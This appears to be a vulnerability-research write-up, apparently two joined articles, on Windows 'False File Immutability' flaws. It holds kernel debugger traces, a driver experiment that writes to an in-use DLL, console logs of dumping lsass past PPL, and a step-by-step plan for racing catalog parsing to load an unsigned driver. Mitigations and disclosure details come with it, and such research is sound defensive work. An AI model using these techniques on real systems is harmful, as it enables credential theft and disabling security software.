0f ffffb90e`faa97380 fffff800`3ec2bbe8     nt!NtDeviceIoControlFile+0x56
10 ffffb90e`faa973f0 00007ffe`b074f454     nt!KiSystemServiceCopyEnd+0x28
11 000000dc`e7bff448 00007ffe`99383ca2     ntdll!NtDeviceIoControlFile+0x14
12 000000dc`e7bff450 00007ffe`99383251     FLTLIB!FilterpDeviceIoControl+0x136
13 000000dc`e7bff4c0 00007ffe`94f3b12b     FLTLIB!FilterSendMessage+0x31
14 000000dc`e7bff510 00007ffe`94f36059     cldapi!CfpExecuteTransferData+0x103
15 000000dc`e7bff690 00007ff7`ac9216e0     cldapi!CfExecute+0x349
16 000000dc`e7bff730 00000029`8969cee4     PPLFault!FetchDataCallback+0x4b0 [C:\git\PPLFault\PPLFault\PPLFault.cpp @ 176] 

Let’s see what kind of access was granted to the handle (~= FILE_OBJECT) which resides in the second parameter to FltWriteFileEx. On x64, this is rdx.

0: kd> dt _FILE_OBJECT @rdx ReadAccess WriteAccess DeleteAccess SharedRead SharedWrite SharedDelete Flags
ntdll!_FILE_OBJECT
   +0x04a ReadAccess   : 0 ''
   +0x04b WriteAccess  : 0 ''
   +0x04c DeleteAccess : 0 ''
   +0x04d SharedRead   : 0 ''
   +0x04e SharedWrite  : 0 ''
   +0x04f SharedDelete : 0x1 ''
   +0x050 Flags        : 0x4000a
0: kd> !fileobj @rdx

Device Object: 0xffffa909953848f0   \Driver\volmgr
Vpb: 0xffffa90995352ee0
Event signalled
Access: SharedDelete 

Flags:  0x4000a
	Synchronous IO
	No Intermediate Buffering
	Handle Created

FsContext: 0xffffcf04ac4c6170	FsContext2: 0xffffcf04a7d1cad0
CurrentByteOffset: 0
Cache Data:
  Section Object Pointers: ffffa90999f44378
  Shared Cache Map: 00000000


File object extension is at ffffa9099a4c5f40:

	Flags:	00000001
		Ignore share access checks.

We can see the file wasn’t opened for write access, and “Ignore share access checks” sounds a lot like IO_IGNORE_SHARE_ACCESS_CHECK. Let’s sanity-check the ByteOffset and Length parameters, which are the third and fourth parameters to FltWriteFileEx, stored in r8 and r9 respectively.

0: kd> dx ((PLARGE_INTEGER)@r8)->QuadPart
((PLARGE_INTEGER)@r8)->QuadPart : 0 [Type: __int64]
0: kd> dx (int)@r9
(int)@r9         : 90112 [Type: int]

A write of 90,112 bytes at offset 0 - that lines up with the ProcMon output. What about Flags, the 6th parameter?

0: kd> dx *(PULONG)(@rsp+(8*6))
*(PULONG)(@rsp+(8*6)) : 0xa [Type: unsigned long]

0xA is 0x2 | 0x8, which is FLTFL_IO_OPERATION_PAGING | FLTFL_IO_OPERATION_SYNCHRONOUS_PAGING. This lines up with “Paging I/O, Synchronous Paging I/O” we saw in ProcMon.

Let’s see if we can reproduce this in a driver. We’re going to open a locally-mapped DLL like we did in ExperimentTwo, but instead of asking for FILE_WRITE_DATA, we’re going to stick to the same permissions as CloudFiles: SYNCHRONIZE | FILE_READ_ATTRIBUTES | FILE_WRITE_ATTRIBUTES. This won’t trip the MmFlushImageSection check which looks for FILE_WRITE_DATA, but we’ll throw in IO_IGNORE_SHARE_ACCESS_CHECK anyway to more closely replicate CloudFiles’ behavior. Next, we’ll use FltWriteFileEx to perform a synchronous paging write to the non-writable FILE_OBJECT.

We’re omitting some helper code for brevity. All the example code in this article is available on our GitHub.

VOID ExperimentFour()
{
    DECLARE_CONST_UNICODE_STRING(filePath,
        L"\\SystemRoot\\System32\\TestDll.dll");

    NTSTATUS ntStatus = STATUS_SUCCESS;
    HANDLE hFile = NULL;
    HANDLE hSection = NULL;
    HANDLE hFile2 = NULL;
    OBJECT_ATTRIBUTES fileObjAttr{};
    IO_STATUS_BLOCK iosb{};
    BOOLEAN bSuccessful = FALSE;
    BOOLEAN bReportResults = FALSE;
    PVOID pMappedBase = NULL;
    PFILE_OBJECT pFileObject = NULL;
    PFLT_INSTANCE pInstance = NULL;
    PFLT_VOLUME pVolume = NULL;
    LARGE_INTEGER byteOffset{};
    ULONG bytesWritten = 0;

    ntStatus = MapFileAsImageSection(
        &filePath, &hFile, &hSection, &pMappedBase);
    if (!NT_SUCCESS(ntStatus))
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            "ExperimentFour: MapFileAsImageSection %wZ failed with NTSTATUS 0x%08x\n",
            &filePath, ntStatus);
        goto Cleanup;
    }

    // Find our own minifilter instance for the volume containing this file
    // We'll need it later
    ntStatus = GetMyInstanceForFile(hFile, &pVolume, &pInstance);
    if (!NT_SUCCESS(ntStatus))
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            "ExperimentFour: GetMyInstanceForFile failed with NTSTATUS 0x%08x\n",
            ntStatus);
        goto Cleanup;
    }

    // Now that a view of the SEC_IMAGE mapping exists, 
    // close the file and section handles because that's what ntdll does
    // https://github.com/Microsoft/Windows-driver-samples/blob/622212c3fff587f23f6490a9da939fb85968f651/filesys/fastfat/create.c#L3572-L3593
    HandleDelete(hFile);
    HandleDelete(hSection);

    InitializeObjectAttributes(&fileObjAttr, 
        (PUNICODE_STRING)&filePath, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);

    // Open the file without FILE_WRITE_DATA
    // cldflt.sys!HsmiOpenFile uses this instead of IoCreateFileEx
    ntStatus = FltCreateFileEx2(
        gpFilter,
        NULL,
        &hFile2,
        &pFileObject,
        SYNCHRONIZE | FILE_READ_ATTRIBUTES | FILE_WRITE_ATTRIBUTES,
        &fileObjAttr, &iosb, NULL, 0,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        FILE_OPEN,
        FILE_NO_INTERMEDIATE_BUFFERING | FILE_SYNCHRONOUS_IO_NONALERT | 
        FILE_NON_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT,
        NULL, 0,
        IO_IGNORE_SHARE_ACCESS_CHECK,
        NULL);
    if (!NT_SUCCESS(ntStatus))
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            "ExperimentFour: IoCreateFileEx failed with NTSTATUS 0x%08x\n",
            ntStatus);
        goto Cleanup;
    }

    // cldflt.sys is using FltWriteFileEx with synchronous paging I/O
    ntStatus = FltWriteFileEx(
        pInstance, pFileObject, &byteOffset,
        sizeof(gZeroBuf), gZeroBuf,
        FLTFL_IO_OPERATION_PAGING | FLTFL_IO_OPERATION_SYNCHRONOUS_PAGING, 
        &bytesWritten, NULL, NULL, NULL, NULL);

    // If FltWriteFileEx returns success without us passing FILE_WRITE_DATA, 
    // then we have succeeded
    bSuccessful = NT_SUCCESS(ntStatus) && (sizeof(gZeroBuf) == bytesWritten);
    bReportResults = TRUE;
    
Cleanup:
    if (bReportResults)
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            "ExperimentFour complete. "
            "FltWriteFileEx %s be used to write to a non-writable FILE_OBJECT "
            "Status: 0x%08x\n",
            bSuccessful ? "CAN" : "CANNOT",
            ntStatus);
    }

    HandleDelete(hFile);
    HandleDelete(hSection);
    HandleDelete(hFile2);
    if (pMappedBase)
    {
        NTSTATUS unmapStatus = ZwUnmapViewOfSection(ZwCurrentProcess(), pMappedBase);
        NT_ASSERT(NT_SUCCESS(unmapStatus));
    }
    ReferenceDelete(pFileObject);
    if (pInstance) FltObjectDereference(pInstance);
    if (pVolume) FltObjectDereference(pVolume);
}

This experiment yields the following output:

ExperimentFour complete. FltWriteFileEx CAN be used to write to a non-writable FILE_OBJECT Status: 0x00000000

This proves that FltWriteFileEx can be used to break several rules. There’s a key difference between PPLFault and this experiment: The experiment succeeded without any network redirectors, proving that CloudFiles alone can modify in-use executables, regardless of whether they are mapped locally or via SMB. More abstractly, it proves that FFI exploitation via CloudFiles may be possible without network redirectors.

A new exploit

Microsoft’s PPLFault mitigation specifically targets executables loaded over network redirectors. Can we apply what we’ve discovered here to achieve the same effect sans network redirector?

When CI requests the DLL for signature verification, PPLFault uses CfExecute to write to (rehydrate) the placeholder from its fetch data callback. Once the original file has been served up for signature verification, it switches over to the payload, calling CfExecute a second time during the same callback to overwrite a portion of the file with a payload. Tweaking PPLFault to have the victim load the DLL locally instead of over loopback SMB, the second call to CfExecute fails with “The cloud operation was canceled by user.” We needed another approach.

C:\Users\user\Desktop>PPLFault.exe 760 services.dmp
 [+] Ready. Spawning WinTcb.
 [+] SpawnPPL: Waiting for child process to finish.
 [!] CfExecute #2 failed with HR 0x8007018e: The cloud operation was canceled by user.
 [!] Did not find expected dump file: services.dmp

After some reverse engineering, we learned that the failure was due to checks within CloudFilter itself, not from its interactions with the I/O manager or filesystem. We discovered that calling CfDehydratePlaceholder then calling CfHydratePlaceholder from a different thread (outside of the rehydration callback) would reset the state of our file inside the CloudFilter driver, causing it to re-invoke our our rehydration callback. This allowed us to overwrite the in-use DLL with our payload and achieve arbitrary code execution as WinTcb-Light. This small code change resurrected PPLFault, so we named the variant Redux.

We similarly resurrected GodFault, leveraging our highly-privileged PPL access to compromise kernel memory and bypass Windows Defender’s process protections, terminating a normally-unkillable process.

You can find our PoCs for Redux and GodFault-Redux on GitHub.

The video below shows the following on fully-updated Windows Server 2022 (February 2026 version 20348.4773).

1. PPLFault failing to dump lsass
2. Redux successfully dumping lsass
3. An administrator failing to terminate MsMpEng.exe because it is PPL
4. GodFault-Redux successfully terminating MsMpEng.exe

Mitigation

In our report to MSRC, we provided a filesystem minifilter that mitigates Redux by blocking IRP_MJ_ACQUIRE_FOR_SECTION_SYNCHRONIZATION operations meeting all of the following criteria:

• The requestor is a PPL.
• The requestor's PreviousMode is UserMode.
• The page protection is executable (e.g. PAGE_EXECUTE_READ) or the allocation attributes contain SEC_IMAGE.
• The file has a Cloud Filter reparse tag such as IO_REPARSE_TAG_CLOUD.

A mitigation is built into Elastic Defend versions 8.14 and newer. If your fleet runs any affected operating systems, you can set the following in Defend Advanced Policy to enable it.

windows.advanced.flags: e931849d52535955fcaa3847dd17947b

With this mitigation in place, the exploit is blocked:

C:\Users\user\Desktop>Redux 624 services.dmp
 [+] Ready.  Spawning WinTcb.
 [+] SpawnPPL: Waiting for child process to finish.
 [!] SpawnPPL: WaitForSingleObject returned 258.  Expected WAIT_OBJECT_0.  GLE: 2
 [!] Did not find expected dump file: services.dmp

Simultaneously, Windows displays a popup with the STATUS_ACCESS_DENIED (0xC0000022) status code.

You can find our PoC for the mitigation on GitHub.

Disclosure and Remediation

The disclosure timeline is as follows:

• 2024-02-14 We reported Redux to MSRC.
• 2024-02-29 The Windows Defender team reached out to coordinate disclosure.
• 2024-10-01 Windows 11 24H2 reached GA with the mitigation.

When we disclosed Redux to MSRC, it was functional against fully-patched versions of Windows 11, but not against the experimental Insider Canary build 25936. While discussing the issue with the Windows Defender team, we learned that (now former) Microsoft Senior Security Researcher Philip Tsukerman had discovered it while looking for variants of PPLFault, with the fix still in pre-release testing.

The table below shows affected and fixed versions of Windows as of the date of publication.

Conclusion

In 2024, we disclosed a new Windows vulnerability class, False File Immutability (FFI), demonstrating it with the release of two distinct kernel exploits: PPLFault and ItsNotASecurityBoundary. Both exploits leverage network redirectors to exploit design flaws in Windows Code Integrity. In this research, we showcased and released another exploit which demonstrates how to exploit FFI without network redirectors. We believe that this was the third FFI exploit when it was reported in February 2024; there have since been at least two more.

Redux is not the end of FFI; there are more exploitable FFI vulnerabilities.

This article will discuss a previously-unnamed vulnerability class in Windows, showing how long-standing incorrect assumptions in the design of core Windows features can result in both undefined behavior and security vulnerabilities. We will demonstrate how one such vulnerability in the Windows 11 kernel can be exploited to achieve arbitrary code execution with kernel privileges.

Windows file sharing

When an application opens a file on Windows, it typically uses some form of the Win32 CreateFile API.

HANDLE CreateFileW(
  [in]           LPCWSTR               lpFileName,
  [in]           DWORD                 dwDesiredAccess,
  [in]           DWORD                 dwShareMode,
  [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  [in]           DWORD                 dwCreationDisposition,
  [in]           DWORD                 dwFlagsAndAttributes,
  [in, optional] HANDLE                hTemplateFile
);

Callers of CreateFile specify the access they want in dwDesiredAccess. For example, a caller would pass FILE_READ_DATA to be able to read data, or FILE_WRITE_DATA to be able to write data. The full set of access rights are documented on the Microsoft Learn website.

In addition to passing dwDesiredAccess, callers must pass a “sharing mode” in dwShareMode, which consists of zero or more of FILE_SHARE_READ, FILE_SHARE_WRITE, and FILE_SHARE_DELETE. You can think of a sharing mode as the caller declaring “I’m okay with others doing X to this file while I’m using it,” where X could be reading, writing, or renaming. For example, a caller that passes FILE_SHARE_WRITE allows others to write the file while they are working with it.

As a file is opened, the caller’s dwDesiredAccess is tested against the dwShareMode of all existing file handles. Simultaneously, the caller’s dwShareMode is tested against the previously-granted dwDesiredAccess of all existing handles to that file. If either of these tests fail, then CreateFile fails with a sharing violation.

Sharing isn’t mandatory. Callers can pass a share mode of zero to obtain exclusive access. Per Microsoft documentation:

An open file that is not shared (dwShareMode set to zero) cannot be opened again, either by the application that opened it or by another application, until its handle has been closed. This is also referred to as exclusive access.

Sharing enforcement

In the kernel, sharing is enforced by filesystem drivers. As a file is opened, it’s the responsibility of the filesystem driver to call IoCheckShareAccess or IoCheckLinkShareAccess to see whether the requested DesiredAccess/ShareMode tuple is compatible with any existing handles to the file being opened. NTFS is the primary filesystem on Windows, but it’s closed-source, so for illustrative purposes we’ll instead look at Microsoft’s FastFAT sample code performing the same check. Unlike an IDA decompilation, it even comes with comments!

//
//  Check if the Fcb has the proper share access.
//

return IoCheckShareAccess( *DesiredAccess,
                           ShareAccess,
                           FileObject,
                           &FcbOrDcb->ShareAccess,
                           FALSE );

In addition to traditional read/write file operations, Windows lets applications map files into memory. Before we go deeper, it’s important to understand that section objects are kernel parlance for file mappings; they are the same thing. This article focuses on the kernel, so it will primarily refer to them as section objects.

There are two types of section objects - data sections and executable image sections. Data sections are direct 1:1 mappings of files into memory. The file’s contents will appear in memory exactly as they do on disk. Data sections also have uniform memory permissions for the entire memory range. With respect to the underlying file, data sections can be either read-only or read-write. A read-write view of a file enables a process to read or write the file’s contents by reading/writing memory within its own address space.

Executable image sections (sometimes abbreviated to image sections) prepare PE files to be executed. Image sections must be created from PE files. Examples of PE files include EXE, DLL, SYS, CPL, SCR, and OCX files. The kernel processes the PEs specially to prepare them to be executed. Different PE regions will be mapped in memory with different page permissions, depending on their metadata. Image views are copy-on-write, meaning any changes in memory will be saved to the process’s private working set — never written to the backing PE.

Let’s say application A wants to map a file into memory with a data section. First, it opens that file with an API such as ZwCreateFile, which returns a file handle. Next, it passes this file handle to an API such as ZwCreateSection which creates a section object that describes how the file will be mapped into memory; this yields a section handle. The process then uses the section handle to map a “view” of that section into the process address space, completing the memory mapping.

Once the file is successfully mapped, process A can close both the file and section handles, leaving zero open handles to the file. If process B later wants to use the file without the risk of it being modified externally, it would omit FILE_SHARE_WRITE when opening the file. IoCheckLinkShareAccess looks for open file handles, but since the handles were previously closed, it will not fail the operation.

This creates a problem for file sharing. Process B thinks it has a file open without risk of external modification, but process A can modify it through the memory mapping. To account for this, the filesystem must also call MmDoesFileHaveUserWritableReferences. This checks whether there are any active writable file mappings to the given file. We can see this check in the FastFAT example here:

//
//  Do an extra test for writeable user sections if the user did not allow
//  write sharing - this is neccessary since a section may exist with no handles
//  open to the file its based against.
//

if ((NodeType( FcbOrDcb ) == FAT_NTC_FCB) &&
    !FlagOn( ShareAccess, FILE_SHARE_WRITE ) &&
    FlagOn( *DesiredAccess, FILE_EXECUTE | FILE_READ_DATA | FILE_WRITE_DATA | FILE_APPEND_DATA | DELETE | MAXIMUM_ALLOWED ) &&
    MmDoesFileHaveUserWritableReferences( &FcbOrDcb->NonPaged->SectionObjectPointers )) {

    return STATUS_SHARING_VIOLATION;
}

Windows requires PE files to be immutable (unmodifiable) while they are running. This prevents EXEs and DLLs from being changed on disk while they are running in memory. Filesystem drivers must use the MmFlushImageSection function to check whether there are any active image mappings of a PE before allowing FILE_WRITE_DATA access. We can see this in the FastFAT example code, and on Microsoft Learn.

//
//  If the user wants write access access to the file make sure there
//  is not a process mapping this file as an image. Any attempt to
//  delete the file will be stopped in fileinfo.c
//
//  If the user wants to delete on close, we must check at this
//  point though.
//

if (FlagOn(*DesiredAccess, FILE_WRITE_DATA) || DeleteOnClose) {

    Fcb->OpenCount += 1;
    DecrementFcbOpenCount = TRUE;

    if (!MmFlushImageSection( &Fcb->NonPaged->SectionObjectPointers,
                              MmFlushForWrite )) {

        Iosb.Status = DeleteOnClose ? STATUS_CANNOT_DELETE :
                                      STATUS_SHARING_VIOLATION;
        try_return( Iosb );
    }
}

Another way to think of this check is that ZwMapViewOfSection(SEC_IMAGE) implies no-write-sharing as long as the view exists.

Authenticode

The Windows Authenticode Specification describes a way to employ cryptography to “sign” PE files. A “digital signature” cryptographically attests that the PE was produced by a particular entity. Digital signatures are tamper-evident, meaning that any material modification of signed files should be detectable because the digital signature will no longer match. Digital signatures are typically appended to the end of PE files.

Authenticode can’t apply traditional hashing (e.g. sha256sum) in this case, because the act of appending the signature would change the file’s hash, breaking the signature it just generated. Instead, the Authenticode specification describes an algorithm to skip specific portions of the PE file that will be changed during the signing process. This algorithm is called authentihash. You can use authentihash with any hashing algorithm, such as SHA256. When a PE file is digitally signed, the file’s authentihash is what’s actually signed.

Code integrity

Windows has a few different ways to validate Authenticode signatures. User mode applications can call WinVerifyTrust to validate a file’s signature in user mode. The Code Integrity (CI) subsystem, residing in ci.dll, validates signatures in the kernel. If Hypervisor-Protected Code Integrity is running, the Secure Kernel employs skci.dll to validate Authenticode. This article will focus on Code Integrity (ci.dll) in the regular kernel.

Code Integrity provides both Kernel Mode Code Integrity and User Mode Code Integrity, each serving a different set of functions.

Kernel Mode Code Integrity (KMCI):

• Enforces Driver Signing Enforcement and the Vulnerable Driver Blocklist

User Mode Code Integrity (UMCI):

• CI validates the signatures of EXEs and DLLs before allowing them to load
• Enforces Protected Processes and Protected Process Light signature requirements
• Enforces ProcessSignaturePolicy mitigation (SetProcessMitigationPolicy)
• Enforces INTEGRITYCHECK for FIPS 140-2 modules.
• Exposed to consumers as Smart App Control
• Exposed to businesses as App Control for Business (formerly WDAC)

KMCI and UMCI implement different policies for different scenarios. For example, the policy for Protected Processes is different from that of INTEGRITYCHECK.

Incorrect assumptions

Microsoft documentation implies that files successfully opened without write sharing can’t be modified by another user or process.

FILE_SHARE_WRITE
0x00000002
Enables subsequent open operations on a file or device to request write access. Otherwise, other processes cannot open the file or device if they request write access.

If this flag is not specified, but the file or device has been opened for write access or has a file mapping with write access, the function fails.

Above, we discussed how sharing is enforced by the filesystem, but what if the filesystem doesn’t know that the file’s been modified?

Like most user mode memory, the Memory Manager (MM) in the kernel may page-out portions of file mappings when it deems necessary, such as when the system needs more free physical memory. Both data and executable image mappings may be paged-out. Executable image sections can never modify the backing file, so they’re effectively treated as read-only with respect to the backing PE file. As mentioned before, image sections are copy-on-write, meaning any in-memory changes immediately create a private copy of the given page.

When the memory manager needs to page-out a page from an image section, it can use the following decision tree:

• Never modified? Discard it. We can read the contents back from the immutable file on disk.
• Modified? Save private copy it to the pagefile.
  • Example: If a security product hooks a function in ntdll.dll, MM will create a private copy of each modified page. Upon page-out, private pages will be written to the pagefile.

If those paged-out pages are later touched, the CPU will issue a page fault and the MM will restore the pages.

• Page never modified? Read the original contents back from the immutable file on disk.
• Page private? Read it from the pagefile.

Note the following exception: The memory manager may treat PE-relocated pages as unmodified, dynamically reapplying relocations during page faults.

Page hashes

Page hashes are a list of hashes of each 4KB page within a PE file. Since pages are 4KB, page faults typically occur on 4KB of data at a time. Full Authenticode verification requires the entire contiguous PE file, which isn’t available during a page fault. Page hashes allow the MM to validate hashes of individual pages during page faults.

There are two types of page hashes, which we’ve coined static and dynamic. Static page hashes are stored within a PE’s digital signature if the developer passes /ph to signtool. By pre-computing these, they are immediately available to the MM and CI upon module load.

CI can also compute them on-the-fly during signature validation, a mechanism we’re calling dynamic page hashes. Dynamic page hashes give CI flexibility to enforce page hashes even for files that were never signed with them.

Page hashes are not free - they use CPU and slow down page faults. They’re not used in most cases.

Attacking code integrity

Imagine a scenario where a ransomware operator wants to ransom a hospital, so they send a phishing email to a hospital employee. The employee opens the email attachment and enables macros, running the ransomware. The ransomware employs a UAC bypass to immediately elevate to admin, then attempts to terminate any security software on the system so it can operate unhindered. Anti-Malware services run as Protected Process Light (PPL), protecting them from tampering by malware with admin rights, so the ransomware can’t terminate the Anti-Malware service.

If the ransomware could also run as a PPL, it could terminate the Anti-Malware product. The ransomware can’t launch itself directly as a PPL because UMCI prevents improperly-signed EXEs and DLLs from loading into PPL, as we discussed above. The ransomware might try to inject code into a PPL by modifying an EXE or DLL that’s already running, but the aforementioned MmFlushImageSection ensures in-use PE files remain immutable, so this isn’t possible.

We previously discussed how the filesystem is responsible for sharing checks. What would happen if an attacker were to move the filesystem to another machine?

Network redirectors allow the use of network paths with any API that accepts file paths. This is very convenient, allowing users and applications to easily open and memory-map files over the network. Any resulting I/O is transparently redirected to the remote machine. If a program is launched from a network drive, the executable images for the EXE and its DLLs will be transparently pulled from the network.

When a network redirector is in use, the server on the other end of the pipe needn’t be a Windows machine. It could be a Linux machine running Samba, or even a python impacket script that “speaks” the SMB network protocol. This means the server doesn’t have to honor Windows filesystem sharing semantics.

An attacker can employ a network redirector to modify a PPL’s DLL server-side, bypassing sharing restrictions. This means that PEs backing an executable image section are incorrectly assumed to be immutable. This is a class of vulnerability that we are calling False File Immutability (FFI).

Paging exploitation

If an attacker successfully exploits False File Immutability to inject code into an in-use PE, wouldn’t page hashes catch such an attack? The answer is: sometimes. If we look at the following table, we can see that page hashes are enforced for kernel drivers and Protected Processes, but not for PPL, so let’s pretend we’re an attacker targeting PPL.

Last year at Black Hat Asia 2023 (abstract, slides, recording), we disclosed a vulnerability in the Windows kernel, showing how bad assumptions in paging can be exploited to inject code into PPL, defeating security features like LSA & Anti-Malware Process Protection. The attack leveraged False File Immutability assumptions for DLLs in PPLs, as we just described, though we hadn’t yet named the vulnerability class.

Alongside the presentation, we released the PPLFault exploit which demonstrates the vulnerability by dumping the memory of an otherwise-protected PPL. We also released the GodFault exploit chain, which combines the PPLFault Admin-to-PPL exploit with the AngryOrchard PPL-to-kernel exploit to achieve full read/write control of physical memory from user mode. We did this to motivate Microsoft to take action on a vulnerability that MSRC declined to fix because it did not meet their servicing criteria. Thankfully, the Windows Defender team at Microsoft stepped up, releasing a fix in February 2024 that enforces dynamic page hashes for executable images loaded over network redirectors, breaking PPLFault.

New research

Above, we discussed Authenticode signatures embedded within PE files. In addition to embedded signatures, Windows supports a form of detached signature called a security catalog. Security catalogs (.cat files) are essentially a list of signed authentihashes. Every PE with an authentihash in that list is considered to be signed by that signer. Windows keeps a large collection of catalog files in C:\Windows\System32\CatRoot which CI loads, validates, and caches.

A typical Windows system has over a thousand catalog files, many containing dozens or hundreds of authentihashes.

To use a security catalog, Code Integrity must first load it. This occurs in a few discrete steps. First, CI maps the file into kernel memory using ZwOpenFile, ZwCreateSection, and ZwMapViewOfSection. Once mapped, it validates the catalog’s digital signature using CI!MinCrypK_VerifySignedDataKModeEx. If the signature is valid, it parses the hashes with CI!I_MapFileHashes.

Breaking this down, we see a few key insights. First, ZwCreateSection(SEC_COMMIT) tells us that CI is creating a data section, not an image section. This is important because there is no concept of page hashes for data sections.

Next, the file is opened without FILE_SHARE_WRITE, meaning write sharing is denied. This is intended to prevent modification of the security catalog during processing. However, as we have shown above, this is a bad assumption and another example of False File Immutability. It should be possible, in theory, to perform a PPLFault-style attack on security catalog processing.

Planning the attack

The general flow of the attack is as follows:

1. The attacker will plant a security catalog on a storage device that they control. They will install a symbolic link to this catalog in the CatRoot directory, so Windows knows where to find it.
2. The attacker asks the kernel to load a malicious unsigned kernel driver.
3. Code Integrity attempts to validate the driver, but it can’t find a signature or trusted authentihash, so it re-scans the CatRoot directory and finds the attacker’s new catalog.
4. CI maps the catalog into kernel memory and validates its signature. This generates page faults which are sent to the attacker’s storage device. The storage device returns a legitimate Microsoft-signed catalog.
5. The attacker empties the system working set, forcing all the previously-fetched catalog pages to be discarded.
6. CI begins parsing the catalog, generating new page faults. This time, the storage device injects the authentihash of their malicious driver.
7. CI finds the malicious driver’s authentihash in the catalog and loads the driver. At this point, the attacker has achieved arbitrary code execution in the kernel.

Implementation and considerations

The plan is to use a PPLFault-style attack, but there are some important differences in this situation. PPLFault used an opportunistic lock (oplock) to deterministically freeze the victim process’s initialization. This gave the attacker time to switch over to the payload and flush the system working set. Unfortunately, we couldn’t find any good opportunities for oplocks here. Instead, we’re going to pursue a probabilistic approach: rapidly toggling the security catalog between the malicious and benign versions.

The verification step touches every page of the catalog, which means all of those pages will be resident in memory when parsing begins. If the attacker changes the catalog on their storage device, it won’t be reflected in memory until after a subsequent page fault. To evict these pages from kernel memory, the attacker must empty the working set between MinCrypK_VerifySignedDataKModeEx and I_MapFileHashes.

This approach is inherently a race condition. There’s no built-in delays between signature verification and catalog parsing - it’s a tight race. We’ll need to employ several techniques to widen our window of opportunity.

Most security catalogs on the system are small, a few kilobytes. By choosing a large 4MB catalog, we can greatly increase the amount of time that CI spends parsing. Assuming catalog parsing is linear, we can choose an authentihash near the end of the catalog to maximize the time between signature verification and when CI reaches our tampered page. Further, we will create threads for each CPU on the system whose sole purpose is to consume CPU cycles. These threads run at higher priority than CI, so CI will be starved of CPU time. There will be one thread dedicated to repeatedly flushing pages from the system’s working set, and one thread repeatedly attempting to load the unsigned driver.

This attack has two main failure modes. First, if the payload Authentihash is read during the signature check, then the signature will be invalid and the catalog will be rejected.

Next, if an even number of toggles occur (including zero) between signature validation and parsing, then CI will parse the benign hash and reject our driver.

The attacker wins if CI validates a benign catalog then parses a malicious one.

Exploit demo

We named the exploit ItsNotASecurityBoundary as an homage to MSRC's policy that "Administrator-to-kernel is not a security boundary.” The code is in GitHub here.

Demo video here.

Understanding these vulnerabilities

In order to properly defend against these vulnerabilities, we first need to understand them better.

A double-read (aka double-fetch) vulnerability can occur when victim code reads the same value out of an attacker-controlled buffer more than once. The attacker may change the value of this buffer between the reads, resulting in unexpected victim behavior.

Imagine there is a page of memory shared between two processes for an IPC mechanism. The client and server send data back and forth using the following struct. To send an IPC request, a client first writes a request struct into the shared memory page, then signals an event to notify the server of a pending request.

struct IPC_PACKET
{
    SIZE_T length;
    UCHAR data[];
};

A double-read attack could look something like this:

First, the attacking client sets a packet’s structure’s length field to 16 bytes, then signals the server to indicate that a packet is ready for processing. The victim server wakes up and allocates a 16-byte buffer using malloc(pPacket->length). Immediately afterwards, the attacker changes the length field to 32. Next, the victim server attempts to copy the packet’s contents into the the new buffer by calling memcpy(pBuffer, pPacket->data, pPacket->length), re-reading the value in pPacket->length, which is now 32. The victim ends up copying 32 bytes into a 16-byte buffer, overflowing it.

Double-read vulnerabilities frequently apply to shared-memory scenarios. They commonly occur in drivers that operate on user-writable buffers. Due to False File Immutability, developers need to be aware that their scope is actually much wider, and includes all files writable by attackers. Denying write sharing does not necessarily prevent file modification.

Affected Operations

What types of operations are affected by False File Immutability?

What else could be vulnerable?

Looking for potentially-vulnerable calls to ZwMapViewOfSection in the NT kernel yields quite a few interesting functions:

If we expand our search to regular file I/O, we find even more candidates. An important caveat, however, is that ZwReadFile may be used for more than just files. Only uses on files (or those which could be coerced into operating on files) could be vulnerable.

Looking outside of the NT kernel, we can find other drivers to investigate:

Don’t forget about user mode

We’ve mostly been discussing the kernel up to this point, but it’s important to note that any user mode application that calls ReadFile, MapViewOfFile, or LoadLibrary on an attacker-controllable file, denying write sharing for immutability, may be vulnerable. Here’s a few hypothetical examples.

MapViewOfFile

Imagine an application that is split into two components - a low-privileged worker process with network access, and a privileged service that installs updates. The worker downloads updates and stages them to a specific folder. When the privileged service sees a new update staged, it first validates the signature before installing the update. An attacker could abuse FFI to modify the update after the signature check.

ReadFile

Since files are subject to double-read vulnerabilities, anything that parses complex file formats may be vulnerable, including antivirus engines and search indexers.

LoadLibrary

Some applications rely on UMCI to prevent attackers from loading malicious DLLs into their processes. As we’ve shown with PPLFault, FFI can defeat UMCI.

Stopping the exploit

Per their official servicing guidelines, MSRC won’t service Admin -> Kernel vulnerabilities by default. In this parlance, servicing means “fix via security update.” This type of vulnerability, however, allows malware to bypass AV Process Protections, leaving AV and EDR vulnerable to instant-kill attacks.

As a third-party, we can’t patch Code Integrity, so what can we do to protect our customers? To mitigate ItsNotASecurityBoundary, we created FineButWeCanStillEasilyStopIt, a filesystem minifilter driver that prevents Code Integrity from opening security catalogs over network redirectors. You can find it on GitHub here.

FineButWeCanStillEasilyStopIt has to jump through some hoops to correctly identify the problematic behavior while minimizing false positives. Ideally, CI itself could be fixed with a few small changes. Let’s look at what that would take.

As mentioned above in the Affected Operations section, applications can mitigate double-read vulnerabilities by copying the file contents out of the file mapping into the heap, and exclusively using that heap copy for all subsequent operations. The kernel heap is called the pool, and the corresponding allocation function is ExAllocatePool.

An alternative mitigation strategy to break these types of exploits is to pin the pages of the file mapping into physical memory using an API such as MmProbeAndLockPages. This prevents eviction of those pages when the attacker empties the working set.

End-user detection and mitigation

Fortunately, there is a way for end-users to mitigate this exploit without changes from Microsoft – Hypervisor Protected Code Integrity (HVCI). If HVCI is enabled, CI.dll doesn’t do catalog parsing at all. Instead, it sends the catalog contents to the Secure Kernel, which runs in a separate virtual machine on the same host. The Secure Kernel stores the received catalog contents in its own heap, from which signature validation and parsing are performed. Just like with the ExAllocatePool mitigation described above, the exploit is mitigated because file changes have no effect on the heap copy.

The probabilistic nature of this attack means that there are likely many failed attempts. Windows records these failures in the Microsoft-Windows-CodeIntegrity/Operational event log. Users can check this log for evidence of exploitation.

Disclosure

